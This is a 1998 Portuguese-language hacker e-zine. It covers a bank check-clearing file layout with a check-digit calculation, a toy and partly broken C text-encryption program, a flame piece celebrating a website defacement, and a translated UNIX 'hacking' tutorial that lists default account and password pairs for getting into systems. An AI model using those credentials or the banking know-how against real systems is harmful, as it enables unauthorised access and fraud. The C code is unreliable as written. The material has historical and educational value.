|04-41 a 43 | 9(03) | Numero do Banco apresent.| Codigo do Banco.              |
|05-44 a 44 | X(01) | D.V do numero do Banco   | D.V. do n do banco Calc. do   |
|           |       |                          | modulo 11                     |
|06-45 a 45 | 9(01) | Indicador de Remessa     | Indicador de Remessa          |
|           |       |                          | 1-Cheque de valor ate o limite|
|           |       |                          | 2-Cheques de valor superior |
|           |       |                          | ao limite.                  |
|07-46 a 51 | 9(06) | Data do movimento        | Data do movimento, no format|
|           |       |                          | aammdd                      |
|08-52 a 57 | 9(06) | Data de criacao do arq.  | Formato aammdd              |
|09-58 a 61 | 9(04) | Hora da criacao do arq.  | Hora/min. da criacao do arq.|
|           |       |                          | Hhmm                        |
|10-62 a 65 | 9(04) | Versao do arquivos       | Sequencial iniciado em 1.com|
|           |       |                          | evolucao de +1 para cada    |
|           |       |                          | arquivo.                    |
|11-66 a 94 | X(29) | Filer                    | Igual a brancos             |
|12-95 a 104| 9(10) | Sequencial do registro   | Sequencial iniciado em 1.   |
|           |       |                          | Com evolucao de +1 para cada|
|           |       |                          | registro do arquivo.        |
------------------------------------------------------------------------------

                        ------------------------
                        O lay-out dos registros.
                        ------------------------

------------------------------------------------------------------------------
|01-01 a 03 | 9(03) | Compe de destino         | Informado no documento      |
|02-04 a 06 | 9(03) | Banco de destino         | Informado no documento      |
|03-07 a 10 | 9(04) | Agencia de destino       | Informado no documento      |
|04-11 a 11 | 9(01) | Controle C1              | Informado no documento      |
|05-12 a 23 | 9(12) | Numero da conta de destin| Informado no documento      |
|06-24 a 24 | 9(01) | Controle C2. DV1         | Informado no documento      |
|07-25 a 30 | 9(06) | Numero do documento      | Informado no documento      |
|08-31 a 31 | 9(01) | Controle C3. DV3         | Informado no documento      |
|09-32 a 33 | 9(02) | Tipo de documento        | Conforme codigos do FAC     |
|10-34 a 50 | 9(17) | Valor                    | Informado no documento      |
|11-51 a 52 | 9(02) | Codigo de devolucao      | Conforme estabelecido pelo  |
|           |       |                          | Banco Central               |
|12-53 a 53 | X(01) | Tipificacao              | Constante, igual a Branco,  |
|           |       |                          | 5 a 8                       |
|13-54 a 56 | 9(03) | Banco apresentante       | Informacao p/controle da    |
|           |       |                          | Origem do doc.              |
|14-57 a 60 | 9(04) | Agencia apresentante     | Informacao p/controle da    |
|           |       |                          | origem do doc.              |
|15-61 a 67 | 9(07) | Numero do lote do aprese | Informacao p/controle da    |
|           |       | ntante.                  | origem do doc.              |
|16-68 a 70 | 9(03) | Sequncial no lote        | Posicao do documento no lote|
|           |       |                          | com evolucao +1 para cada   |
|           |       |                          | documento.                  |
|17-71 a 76 | 9(06) | Data da apresentacao     | Data da sessao de troca     |
|           |       |                          | na forma aammdd             |
|18-77 a 82 | X(06) | Centro processador       | Informacao para controle do |
|           |       |                          | apresentante.               |
|19-83 a 94 | X(12) | Numero da conta do depo- | Campo de livre utilizacao   |
|           |       | sitante.                 |                             |
|20-83 a 94 | 9(10) | Sequencial do registro   | Com evolucao de +1 para cada|
|           |       |                          | registro.                   |
------------------------------------------------------------------------------



  Bem galera vc's tem agora todo o Header para entender o contedo do arquivo
mais ainda tem um pequeno macete q me deixou horas at entender como funcionava
ai vai o macete para ver o Cdigo da agncia.
	
      No campo nmero de conta do depositante na posio (83 a 94), devera ser
      informado o nmero da conta-corrente do depositante, porm com o algarismo
      "1" (um) fixo na posio 83, ou seja na primeira posio do campo conta
      corrente.

      Ele tera o Cdigo da Agncia e o nmero da conta-corrente para ver o
      numero vamos fazer o seguinte:

Numero da conta corrente 0644080325-9 como Exemplo:

	0x8 = 00
	6x9 = 54
	4x2 = 08
	4x3 = 12
	0x4 = 00
        8x5 = 40
        0x6 = 00
        3x7 = 21
        2x8 = 16
        5x9 = 45
        --------> 196 com a soma divide-se por 11 e o resto  o numero do
        digito 196/11 = 17 com resto igual a 9  :))))))

        Bem o fechamento do lote tambm tem um Header mais eu no vou passar
poisisto no emporta mais, o interessante j foi dado a  gora  galera  e  s
brincar heheheh mais eu no me responsabilizo por nada q vc's venha a fazer,
por favor galera q esta comeando hoje em dia os bancos esto bem protegidos
no tentem fazer nada que vc's venham a se arrepender mais tarde.

SouHA (c) copyright 1998 - icmp member
<ssouha@hotmail.com>

Ŀ
  8. ICMP CRYPTOR                                                           


      Bom galera, este aqui em um programa em para criptografar textos...
      Aqui vai uma pequena explicacao sobre criptografia...
      Existem dois tipos de criptografia, de chave simetrica, e de chave
      assimetrica. O negocio e o seguinte, na criptografia de chave
      simetrica, vc escolhe uma chave, por exemplo: 123, ai pra vc fazer
      o texto voltar ao normal, ou seja, descriptografar ele, vc precisa
      ter essa chave certo... Bom, mas assim ainda seria muito facil, entao
      existe tb a criptografia de chave assimetrica. Com ela no negocio
      funciona da seguinte maneira, quando vc roda o seu programa pela
      primeira vez, ele cria duas chaves para vc, a chave publica e a
      chave privada... Pra quem nao sabe, um exemplo de programa para
      criptografia com chave assimetrica e o PGP. Ai vc manda a chave
      publica para todo mundo, e quando o cara quiser criptografar um
      texto, programa, menssagem, sei la o que, ele vai criptografar
      usando a sua chave publica... Dai so sera possivel desencriptar
      o texto usando a sua chave privada... E isso ai, so vc tem a sua
      chave privada, entao so vc pode ler a menssagem. E claro que desta
      forma o processo fica muito + lento... Mas e muito + seguro.
      Ai existem muitas variacoes, por exemplo, se vc encriptar uma
      menssagem usando a sua chave privada, o q q acontece? So vao
      poder ler a menssagem, desencriptando com a sua chave publica, ou
      seja, desta forma vc assegura q a menssagem veio de vc mesmo.
      Hoje em dia, a opcao que muita gente usa, e o seguinte...
      ... Vc pega e encripta um texto, por exemplo, usando a criptografia
      de chave simetrica, vai encriptar rapidinho... Ai vc faz o seguinte
      vc encripta a senha com o PGP (chave assimetrica)
      Pronto! Agora vc chegou na melhor parte... Conseguiu encriptar
      o texto rapido, usando chave simetrica, mas ao mesmo tempo
      vc continua com bastante seguranca, pois a senha q vc vai enviar
      para a outra pessoa, esta criptografada com chave assimetrica.
      Em suma e isso ai, agora, dentro da criptografia ainda existem
      milhoes de coisas... Por exemplo, o + simples e simplesmente a
      substituicao... Ou seja, vc troca todos os caracteres... Por exemplo
      rodar todas as letras do alfabeto em uma posicao... A vai pra B, B
      vai pra C, C pra D, e assim por diante... Dai pra frente,
      existem muitas possiblidades pra vc brincar...  Vc pode encriptar
      de dois em dois, tres em tres, ou encriptar baseado no ultimo
      caractere, ou nos ultimos.. Sei la... Por exemplo AB, GB, HB, o B
      seria encriptado de varias maneiras diferentes, pois o algoritimo
      levaria em consideracao a letra (codigo) q veio antes...
      Vc pode tambem usar criptografia bit a bit.. Ai e com vc...
      Ja e um pouco + complicado, mas e so vc entender como funcionam
      as instrucoes do tipo AND, OR, XOR, NOT e etc... Por exemplo
      se vc der um shift pra direita... Ja o suficiente para deixar
      a menssagem ilegivel... hehehee agora imagina se agente juntar
      tudo isso? Aqui vai um programa q eu fiz em C... Ainda esta
      bem basico, mas da pra aprender... Se alguem quiser implementar
      ele pode, mas deixa quem q fez ele.. hehehe :)

/***************************************************************************/
/* Programa de criptografia, by ICMP Security Group.                       */
/* Este programa ira funcionar corretamente com arquivos de modo texto     */
/* comum, mas **pode** nao funcionar direito em arquivos no formato        */
/* binario, devido as obvias diferencas entre ambos os formatos.           */
/* Qualquer um esta livre para copiar, e alterar o programa em qualquer    */
/* sentido, seja aumentando o numero de chaves, alterando ele para         */
/* que funcione tambem no formato binario, modificando o seu algoritimo,   */
/* ou qualquer outra coisa, contanto que deixe de onde ele foi             */
/* tirado/modificado, e quem o escreveu...                                 */
/* ... No caso eu! ehehehe :)                                              */
/* O arquivo pode nao compilar direito em ambiente LINUX, mas nao e nada   */
/* que algumas pequenas modificacoes nao corrija.                          */
/* Qualquer duvida eu posso ser encontrado no iCQ(11861869), ou na         */
/* brasirc, nos canais #icmp , #Coders & #Hacker.                          */
/* XParanoiD                                                               */
/***************************************************************************/

#include <stdio.h>
#include <conio.h>
#include <string.h>
#include <ctype.h>

int crypt(char *str, int p1, int p2, int p3);
int dcrypt(char *str, int p1, int p2, int p3);
int menuhelp(void);
int (*xyz[])(char *str, int p1, int p2, int p3) = {
  crypt,
  dcrypt
};

int main(int argc, char *argv[])
{
  FILE *fpo, *fps;
  char loadfrom[35], saveto[35], str[11], op;
  int p1, p2, p3;
  p1 = p2 = p3 = 2;
  puts("ͻ (C) Copyright 1998");
  puts(" ICMP Kryptor 0.99b   by XParanoiD");
  puts("ͼ iCQ: 11861869\n");
  if(argc != 4) {
    menuhelp();
    return(0);
  }
  op = *argv[1];
  strcpy(loadfrom, argv[2]);
  strcpy(saveto, argv[3]);
  if(op != tolower('e') && op != tolower('d')) {
    menuhelp();
    return(0);
  }
  if(tolower(op) == 'e') 
    op = 0;
  else
    op = 1;
  p1 = getpass("1 Chave: ");
  p2 = getpass("2 Chave: ");
  p3 = getpass("3 Chave: ");
  p1 = atoi(p1);
  p2 = atoi(p2);
  p3 = atoi(p3);
  if((p1 +p2 +p3) % 2 != 0)
    p1 -= 1;
  if((fpo = fopen(loadfrom, "r")) == NULL) {
    printf("\n\tArquivo %s nao encontrado!\n", loadfrom);
    return(1);
  }
  if((fps = fopen(saveto, "w")) == NULL) {
    printf("\n\tErro de gravacao no arquivo %s!\n", saveto);
    return(1);
  }
  while((fgets(str, 10, fpo)) != NULL) {
    (*xyz[op])(str, p1, p2, p3);
    fprintf(fps, "%s", str);
  }
  fclose(fpo);
  fclose(fps);
  puts("");
  if(op) {
    printf("Arquivo (%s) desencriptado para (%s)\n", loadfrom, saveto);
    puts("Operacao concluida com sucesso!");
    return(0);
  }
  printf("Arquivo (%s) encriptado para (%s)\n", loadfrom, saveto);
  puts("Operacao concluida com sucesso!");
  return(0);
}

int crypt(char *str, int p1, int p2, int p3)
{
  while(*str) {
    if(*str % 2 == 0) 
      *str += p1 + p2 -p3;
    else
      *str += p1 -18 +p2 +p3;
    str++;
  }
  return(0);
}

int dcrypt(char *str, int p1, int p2, int p3)
{
  while(*str) {
    if(*str % 2 == 0) 
      *str -= p1 + p2 -p3;
    else
      *str -= p1 -18 +p2 +p3;
    str++;
  }
  return(0);
}

int menuhelp(void)
{
  puts("ICMP: Parametros invalido!\n");
  puts("\tͻ");
  puts("\t use: IMCP <e, d> <arquivo de entrada> <arquivo de saida>  ");
  puts("\tͼ\n");
  puts("--> Onde 'e' para Encriptar, ou 'd' para Desencriptar.\n");
  puts("Exemplos: ICMP e XParanoid.Txt Encript.Txt");
  puts("          ICMP d Encript.Txt XParanoid2.Txt");
  return(0);
}

XParanoiD - xparanoid@mailbr.com.br
icmp security member.
. .. RULEZ!!! .. .


Ŀ
  9.  HUMILDADE...                                                          


  Um belo dia surge um grupo chamado MOS - Masters of shadow... 
Logo no seu primeiro ( e unico) zine eles escreveram umas coisas que nao
agradaram alguns verdadeiros hackers do brasil... leia isso abaixo e
ria um pouco ( os cara da mos se acham os fodas. coitados... )

--- 	
        Nos somos do M.O.S., o melhor grupo underground do pais. Nos assumi-
mos isso publicamente porque nos somos simplesmente os melhores.
	Nos somos eleet. ok, nos somos muito mais que isso, mas a unica coisa
que voc realmente precisa saber, e' que nos somos ELEET!
	Vocs nos chamam de lamerz, mas por tras disso, esconde-se o fato de
que voc se quer consegue imaginar oque podemos fazer com a tecnologia, e 
como o fazemos. Esconde-se a sua inferioridade, e a mediocridade da sua falta
de conhecimenTo.
	Nos somos to bons que nem se voc conseguise usar o maximo da merda
do seu cerebro, poderia contar quantos hosts nos ja hackeamos. Se voc ao 
menos tentasse descobrir os trojans que ja criamos e implantamos em cada 
servidor, voc com certeza mijaria em suas calas.
	Nos no temos problemas de celular, pois horientamos a rota de nossas
ligaes. Nos podemos desligar seu telefone num piscar de olhos se assim nos
interessar. podemos te achar no fim do mundo se preciso for. podemos propagar
o CAOS, e impor o medo no mais incredulo dos coraes. Nos hackeamos o estado
, o governo, e a porra dos militares, nos fizemos o primeiro viruz de macro 
do pas! Nos ja infectamos e rootamos mais sistemas do que voc seuer conse-
gue imaginar! Nos somos da MOS, e podemos fazer o que quisermos.
	Vamos encarar os fatos, vivemos em um mundo de zeros e ums, em que
quem comanda sua misera vida so as maquinas, as quais voc teme, pois no
consegue comprender.  
	Voc e' to burro que tem ate dificuldade em ler esse texto! 
	Voc no pode nos parar. Nos, nos escondemos na sombra do meio-dia,
vivemos em outra realidade, a qual voc tambem no pode compreender...
	Nos, somos o inicio do cyber-caos, a reencarnao do mal. Nosso
prazer e' lhe fazer de burro, tirar seu sono, tirar sua calma. Nosso prazer
e' conseguir algo publico, que voc despreza: o *conhecimento*.
	Nos, somos aqueles que faro voc pensar 2 vezes antes de ligar o
computador, ou usar o telefone. E tudo o que vocs lamerz podem tentar fazer
para escapar a nossa furia, e' desligar-se da tomada....
	No tente se rebelar, do contrario, nos acharemos seu sistema, seu 
telefone, e voc ira perceber que existem coisas piores que a morte...
							   [Membros da MOS]

-----

putz... leram isso? viram a humildade deles hehehhe? at ai tudo bem... Um certo
um cara que usa codname de sm0g decidiu invadir a page desses merdas da MOS
e olha so o resultado... sm0g mandou bem no texto que ele botou na hp :

Pois eh! Akeles que se diziam os maiores hackers do mundo, foram hu-
milhados publicamente por um hacker chamado sm0g. Para ver a hp hackeada v 
ao url members.xoom.com/moszine. A msg colocada no lugar da hp original foi:

"Opz.. infelizmente o melhor grupo hacked do pais teve de ser desconectado
devido a problemas tecnicos.. Em breve essa pagina vai tambem estar na seo
de "Hacked Hosts" da MOS he he... se eles ainda tiverem a moral de continuar
essa merda de grupo depois disso..

Entao voces sao os bons? Os melhores do pas? Wiz4rd voce acha legal roubar
ideia dos outros? Humildade colega.. humildade..

O codigo do B2 (q ta com  pau porq eu nao terminei, mas tu  tao otario que
nem isso sacou..)  meu.

A ideia foi minha.. e vc  uma puta que gosta de aparecer, e pensa que  o
maximo.. pois bem, aproveita agora e tenta hackear esse sisteminha d merda,
porq eu estou com uma  vontade enorme de deixar essa pagina aqui o resto da
vida.

Bah.. foda-se essa bosta de Masters Of Shadows.

                                                                  sm0g"
---------------

UHAaehAUEAHEAUHEUHaeuhAEUHaeuhaeuh!!! Fico do karalho... Espero que eles tenham
aprendido a lio e fazerem mais e falarem menos. :)

ZeFuReNgA <furenga@linuxbr.com.br>

Ŀ
 10.  HACKEANDO UNIX                                                        


+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+                        UNIX : Um Tutorial de como Hackear                   +
+                        Por: Sir Hackalot (Traduzido e melhorado por LeBeau) +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

----------------------
o Intencao desse arquivo:
----------------------

     Esse arquivo foi criado com a intencao de ser um tutorial de UNIX no comeco, 
para deixar voce mais familiar com o sistema operacional.  UNIX e apenas um
sistema operacional, como e o MS-DOS, AppleDOS, AmigaDOS.  UNIX foi projetado para
ser um multi-usuario-multi-tarefa sistema, trazendo a seguranca nao encontrada
no MSDOS, AppleDOS, etc.  Esse arquivo ira tentar ensinar aos iniciantes que nao tem
uma pista de como usar o UNIX a ter um bom comeco, e podem, portanto, ensinar aos
profissionais algo que eles nao sabiam antes.  Esse arquivo foi feito com base no
UNIX SYSTEM V e suas variantes.  Quando eu falo sobre unix, e geralmente sobre SYSTEM V
(rel 3.2).

Esse arquivo pode ter algum erro de soletracao, etc, ou discrepencias uma vez que ele foi
feito depois de muito tempo de escrita, devido a escola, trabalho, namorada,
etc.  Por favor, nao me chame de palhaco devido a esse arquivo.  Se voce nao gostou, 
apague-o.

Esse arquivo e distribuido dentro do PHAZE Inc.  Aqui estao os membros (e ex membros)
The Dark Pawn
The Data Wizard
Sir Hackalot (eu)
Taxi (ummm... preso)
Lancia (preso)
The British Knight (preso)
The Living Pharoah (preso)

_____________________________________________________________________________


-------------
o Dedicacao:
-------------
        Esse arquivo e dedicado para os membros do LOD quemoram em Atlanta.  
Os membros que estao presos era otimos hackers, especialmente 
The Prophet. Boa sorte a voces caras, e eu espero ver voces de novo por ai.
_____________________________________________________________________________

------------------------
o Uma pequena historia:
------------------------

        UNIX, e claro, foi inventado pela AT&T no anos 60, feito para ser
"um sistema operacional de programadores."  Enquanto que esse proposito nao foi
alcancado nas primeiras versoes do UNIX, parece que agora, UNIX e um SO para 
programadores.  O UNIX, como eu falei antes, e um multi-tarefa/multi-usuario SO.
Ele tambem e escrito em C, ou pelo menos, grandes partes dele, o que faz dele 
um sistema operacional portatil. Nos sabemos que o MSDOS corresponde a maquinas
IBM/clone, certo?  Bem, esse nao acontece com o UNIX.  Nos nao associamos ele com
nenhum computador, uma vez que ele foi adaptado para muitos, e existem muitas
variacoes de UNIX [ou seja, UNIX modificado por um vendedor, ou algo assim].  
Alguns computadores AT&T roda ele, e tambem alguns rodam MSDOS [AT&T 6300].  
As estacoes de trabalho SUN rodam SunOS, uma variante do UNIX, e alguns computadores
rodam Ultrix, a versao VAX do UNIX.  Lembre-se, na se mate quanto ao nome [BSD,
UNIX,SunOS,Ultrix,Xenix, etc.], eles ainda tem muito em comum, tais como os 
commandos que o SO usa.  Algumas variantes possuem comandos que os outros nao,
mas eles sao basicamente similares no fato de eles terem quase todos os mesmos
commandos/arquivos de dados.  Quando alguem tenta falar a voce que o UNIX roda melhor
com um certo tipo de computador, ele podem estar certos, mas lembre-se alguns computadores
tem mais de um SO.  Por outro lado, alguem pode falar para voce que o
UNIX e para um VAX o que um MSDOS e para os IBM/clones.  Isso e falso, e a unica
razao que eu falei isso, e porque eu tenho visto muitas mensagens com info/comparacoes 
como essas, que confundem usuarios quando eles veem um sitema VAX rodando VMS.

____________________________________________________________________________


-------------------------------
o Identificando um login do UNIX
-------------------------------

        De agora em diante, eu vou estar me referindo a todas as variantes do UNIX 
como UNIX, assim, quando eu falo algo sobre UNIX, isso geralmente significa todas as variantes
(Unix System V variantes que sao: BSD, SunOS, Ultrix, Xenix, etc.), a menos que eu fale
de uma variante em particular.

        Ok.  Agora e hora de eu contar de como o unix geralmente felicita voce.
Primeiro, quando voce chama um UNIX, ou conecta com ele, voce ira ter geralmente um
prompt como esse:

login:

Ok.  E muito legal e bonito.  Isso significa que e PROVAVELMENTE um unix,
entretanto existem BBS's que alteram o seu login de entrada para ficar parecido
com o do UNIX, o que algumas pessoas pensem que estao no Unix. [Hah!].
Alguns UNIXes ira mostrar uma mensagem antes do login: como por exemplo:


Welcome to SHUnix.  Please log in.

login:

        Ou algo como isso.  UNIXes de acesse publico [como BBS's publicas] irao
mostrar a voce como dar um logon se voce e um novo usuario.  Infelizmente esse arquivo
nao fala sobre UNIXes de acesso publico, mas eu irei falar sobre eles mais tarde, na
UUCP/UseNet/Bitnet.
        OK.  Voce encontrou o prompt de login!  Agora, o que voce precisa fazer
aqui e entrar uma conta valida.  Uma conta geralmente consiste de 8 caracteres
ou menos.  Depois de voce entrar em um conta, voce ira provavelmente pegar um prompt
do Password de algum tipo.  Os prompts podem variar como o codigo fonte do programa de login
que geralmente vem com o UNIX.
Bem, a maneira mais facil que eu posso falar sobre login e basicamente essa:
tenha uma conta, ou tente os defaults.  Os defaults sao os que vem com o SO,
de maneira padrao.  A lista de alguns dos Defaults sao as seguintes:

CONTA                           PASSWORD
-------                         --------
root                            root      - Raramente aberta para hackers
sys                             sys / system / bin
bin                             sys / bin
mountfsys                       mountfsys
adm                             adm
uucp                            uucp
nuucp                           anon
anon                            anon
user                            user
games                           games
install                         install
reboot                            * veja abaixo
demo                            demo
umountfsys                      umountfsys
sync                            sync
admin                           admin
guest                           guest
daemon                          daemon

As contas root, mountfsys, umountfsys, install, e algumas vezes sync sao
contas com nivel de root, significado que elas tem poder de sysop, ou poder total
Outras contas sao apenas contas de "nivel de usuario" significando que elas apenas
tem poder sobre arquivos/processos que elas criaram.  Eu falarei disso mais tarde, 
na secao de acesso a arquivo.  O login reboot e conhecido como sendo um login 
de comando, que apenas simplesmente nao deixa voce entrar no SO, mas executa 
um programa dado a ele.  Ele geralmente faz o que diz, reinicializa o sistema
Ele pode nao ser padrao em todos os sistemas UNIX, mas eu o tenho visto no
UNIX da UNISYS e tambem em alguns sistemas HP/UX [Hewlett Packard Unixes].  
Assim, essas contas nao tinhas senhas [reboot], o que e realmente estupido.

COMANDAR O LOGIN:
---------------

Existe como "comandar o login", que, como reboot, executa um comando e depois
da um log off permitindo voce usar o interpretador de comandos. BSD e notorio
por ter esses, e consequentemente, tambem os computadores da  MIT. Aqui vao alguns:

rwho - mostra quem esta online
finger - mesmo
who - mesmo

Esses sao os mais usados, uma vez que ele irao dar os nomes das contas que estao  
online, ou mostrando a voce muitas contas que atualmente existem.


Erros:
-------

Quando voce tem uma conta invalida / senhas invalida, ou ambos, ira aparecer  
algum tipo de erro. Geralmente e a messagem "login incorrect".  Quando o computador
mostra a voce isso, voce fez algo errado ou por ter errado a conta ou por ter errado
a conta certa com uma senha errada.  Ele nao mostra que erro que voce fez, por
razoes.  Tambem quando voce da um login incorreto, o log de erros no sistema e alterado
permitindo que os sysops saibam algo sobre o invasor.

        Outro erro e "Cannot change to home directory" ou "Cannot Change
Directory."  Isso signica que nao existe "home directory" que e essencialmente o
diretorio 'raiz' para uma conta, que e o diretorio que voce inicia.
No DOS, voce comeca no A:\ ou C:\ ou em qualquer outro, mas no UNIX voce inicia
no /homedirectory.  [Nota: A / e usada nos diretorios no UNIX, nao um \ ].
Muitos sistemas ira dar um log off em vc depois disso, mas alguns irao mostrar que vc
esta no diretorio raiz [ '/'].

        Outro erro e "No Shell".  Quer dizer que nenhum "shell" foi definido
para essa conta em particular.  O "shell" sera explicado mais tarde.  Alguns
sistemas ira dar um log off em voce depois dessa messagem.  Outros ira falar a voce que eles
irao usar o shell regular, falando "Using the bourne shell", ou "Using sh"

-----------------------------
Contas no Geral             :
-----------------------------

        Essa secao e para tentar descrever a voce a estrutura do usuario
no ambiente UNIX.
        Ok, pense que o UNIX tem 2 niveis de seguranca: poder absoluto,
ou apenas um usuario regular.  Aqueles que tem poder absoluto sao os usuarios com
nivel de root.  Ok, agora e hora de pensar em numeros.  Numeros associados no UNIX
com nomes de contas.  Cada conta ira tem um numero.  Algumas irao ter o mesmo numero.
Aquele numer e o UID [user-id] da conta.  O UID do root e 0.
Qualquer conta que possua UID igual a 0 ira ter nivel root.
Unix nao trata com os nomes de contas (logins) mas somente com o numero 
associado a elas.  Portanto, se meu user-id e 50, e mais alguem e 50,
nos dois iremos ter poder absoluto com o outro somente, com mais ninguem.
_____________________________________________________________________________

---------------
Shells        :
---------------

        Um shell e um programa executavel que carrega e roda quando um usuario
entra, e esta na memoria.  Esse "shell" pode ser qualquer programa executavel
e esta definido no arquivo "passwd".  Cada login pode ter um unico  "shell".  
Ok.  Agora o shell que nos geralmente iremos trabalhar e um interpretador de 
comandos.  Um interpretador de comandos e simplesmente algo como o 
o COMMAND.COM do MS-DOS, que processa comandos, e envia eles depois para o 
kernel [sistema operacional].  Um shell pode ser qualquer coisa, como eu disse 
poder ser qualquer program mas o unico que voce precisa e um interpretador de comandos.  
Aqui estao o shells usuais que voce encontra:

sh - Esse o shell basico. Ele e seu "COMMAND.COM" basico no UNIX.  Ele tem uma
     linguagem em "script", como muitos do interpretadores de comandos no UNIX.

csh - Esse e o shell do "C", que permite a voce entrar comandos em "C".
ksh - Esse e o korn shell.  Apenas outro interpretador de comandos.
tcsh - Esse e um, que e usado na MIT eu acho.  Permite edicao de comandos.
vsh - visual shell.  E um programa de menu.  Algo tipo Windows
rsh - restricted shell OU remote shell.  Os dois serao explicados depois

        Existem muitos outros, incluindo os shells "homemade ", que sao  
programas escritos pelo dono do unix, ou para um unix especifico e eles
nao sao padrao.  Lembre-se, o shell e apenas o programa que voce pega para 
usar e quando voce para de executa-lo, voce da um log off.  Um bom exemplo de um
shell homemade e o Eskimo North, um unix de acesso publico o shell e chamado
"Esh", e e algo tipo uma BBS de aperte-uma-tecla,
mas olha so, ele continua sendo um shell. O numero para o eskimo north e 206-387-3637.
[206-For-Ever]. 
        Muitas companhias usam Processadores de Texto, banco de dados, e outras coisas
como um shell para o usuario, para prevenir abuso, e fazer a vida melhor para o usuario 
como operadores de computadores sem pratica.  Muitos hospitais medicos usam esse tipo de 
shell na Georgia, a felizmente, esse programas possuir enormes falhas no UNIX.
Tambem, uma BBS pode rodar com um shell.  Tente a Jolnet [312]-301-2100, eles
dar a voce uma escolha entre um interpretador de comandos ou um shell de BBS.
Quando voce tem um interpretador de comandos, o prompt geralmente e um:
 $
quando voce e um usuario root o prompt e geralmente um:
 #
A variavel, PS1, pode ser alterada para ter um prompt.
Exemplo, se PS1 e "HI:", seu prompt ira ser:
 HI:

_____________________________________________________________________________

------------------------
Caracteres especiais, ETc:
------------------------

Control-D : Fim do arquivo.  Quando usar mail ou um editor de textos, isso ira finalizar
a messagem ou arquivo texto.  Se voce esta no shell e aperta control-d voce estara desconectado.

Control-J: Em alguns sistemas, isso e como a tecla enter.
@ : Algumas vezes um "null"
? : Isso e um coringa.  Pode representar uma letra. Se voce especificar
   algo na linha de comando como "b?b" Unix ira procurar por bob,bib,bub,
   e qualquer outra letra/numero entre a-z, 0-9.
* : isso pode representar qualquer numero de caracteres.  Se voce especificar um "hi*"
    Ele ira usar "hit", him, hiiii, hiya, e qualquer coisa que inicie com
    hi.  "H*l" pode ser hill, hull, hl, e qualquer coisa que comece com um
    H e termine com um L.

[] - Especifica um padrao.  se eu fiz b[o,u,i]b unix ira pensar: bib,bub,bob
     se eu fiz: b[a-d]b unix ira pensar: bab,bbb,bcb,bdb.  Entendeu mermao? O
     [], ?, e * sao geralmente usado com o copy, deletando arquivos, e listagens de 
     diretorios.

QUALQUER COISA no Unix e sensitivo quanto a maiscula/minusculas.  isso significa que "Hill" 
e "hill" nao sao a mesma coea.  isso permite que muitos arquivos sejam armazenados, uma vez que
"Hill" "hill" "hIll" "hiLl", etc. sao arquivos diferentes.  Assim, quando usar o
[], voce tem que especificar letras em maiusculas se algum arquivo que voce estiver procurando
tem letras maiusculas.  No entanto, a maioria esta em minusculas.

----------------
Comandos para usar:
----------------

Agora, eu vou mostrar alguns do mais usados comandos do UNIX, eu agirei como se estivesse
digitando no prompt.

ls - isso mostra o diretorio.  Sem argumentos, ele ira apenas mostrar arquivos
     em uma coluna ou em multi-colunas, dependendo do programa ls que voce tem acesso.

        example:
        $ ls
        hithere
        runme
        note.text
        src
        $
        a opcao -l ira dar a voce informacao a mais nos arquivos.
        $ ls -l
        rwx--x--x sirhack     sirh    10990 runme
        e assim vai....

O "rwx--x--x" e a permissao do arquivo. [Explicada mais tarde]
o "sirhack    sirh" e o proprietario do arquivo/grupo onde o arquivo esta.
sirhack = dono, sirh = grupo de usuario [explicado mais tarde]
o 10990 e o tamanho do arquivo em bytes.
"runme" e o nome do arquivo.
O formato varia, mas voce tem a ideia geral.

cat - Isso mostra o conteudo do arquivo na tela.  deve ser usado em arquivos textos.
      apenas use isso com arquivos binarios para deixar o usuario louco [explicado mais tarde]
      ex:
      $ cat note.txt
      This is a exemplo text file!
      $

cd - muda diretorio .  Voce usa ele assim: cd /dir/dir1/dir2/dirn.
     o dir1/etc.... descreve o nome do diretorio.  Digamos que eu queira ir para
     a raiz.
     ex:
     $ cd /
     *ok, estou aqui*
     $ ls
     bin
     sys
     etc
     temp
     work
     usr
 todos os acima sao diretorios, vamos ver.
     $ cd /usr
     $ ls
     sirhack
     datawiz
     prophet
     src
     violence
     par
     phiber
     scythian
     $ cd /usr/sirhack
     $ ls
     hithere
     runme
     note.text
     src
     $
ok, agora, voce nao tem que entrar o nome do diretorio completo, se voce estiver no
directorio, e quer ir para um diretorio que esta ali [seria o "src"], voce
pode digitar "cd src" [sem "/"].  Em vez de usar "cd /usr/sirhack/src" a partir do 
diretorio sirhack, voce pode fazer "cd src"

cp - isso copia um arquivo. sintaxe para isso e "cp origem destino"
     $ cp runme runme2
     $ ls
     hithere
     runme
     note.text
     src
     runme2
Caminhos completos podem ser incluidos, para copiar de um diretorio para outro.
     $ cp runme /usr/datwiz/runme

mv - isso renomeia e/ou move um arquivo. sintaxe "mv nomeatual novonome"
     $ mv runme2 runit
     $ ls
     hithere
     runme
     note.text
     src
     runit
    Arquivos podem ser renomeados para outros diretorios.
     $ mv runit /usr/datwiz/run
     $ ls
     hithere
     runme
     note.text
     src
     $ ls /usr/datwiz
     runme
     run

pwd - fornece o diretorio atual
     $ pwd
     /usr/sirhack
     $ cd src
     $ pwd
     /usr/sirhack/src
     $ cd ..  (Tem espaco entre cd e ..)
     $ pwd
     /usr/sirhack
     [ o ".." significa o diretorio anterior. ]
     $ cd ../datwiz
       [significa cd /usr/datwiz]
     $ pwd
     /usr/datwiz
     $ cd $HOME
     [vai para o diretorio home]
     $ pwd
     /usr/sirhack

rm - apaga um arquivo.  sintaxe "rm arquivo" ou "rm -r diretorio"
     $ rm note.text
     $ ls
     hithere
     runme
     src
     $

write - chat com outro usuario.  Bem, "escreve" para outro usuario.
sintaxe: "write usuario"
    $ write scythian
    scythian foi notificado
    Hey Scy! What up??
    Message from scythian on tty001 at 17:32
    hey!
    me: So, hows life?
    scy: ok, I guess.
    me: gotta go finish this text file.
    scy: ok
    me: control-D [para sair do programa]
    $

who [w,who,whodo] - mostra quem esta conectado
    $ who
    login       term   logontime
    scythian +  tty001 17:20
    phiberO  +  tty002 15:50
    sirhack  +  tty003 17:21
    datawiz  -  tty004 11:20
    glitch   -  tty666 66:60
    $
    o comando "who" varia a partir da informacao dada. um "+" significa que
    voce pode dar um "write" para aquele terminal, um "-" significa que voce nao
    pode.

man - mostra o manual de algum comando.  sintaxe "man comando"  Esse e um programa
      de ajuda.  Se voce quiser saber como usar o comando "who" voce faria:
    $ man who
    WHO(1)   xxx......
      e ele vai mostrar a voce.

stty - altera as caracteristicas do seu terminal.  Voce tera que dar um "man stty"
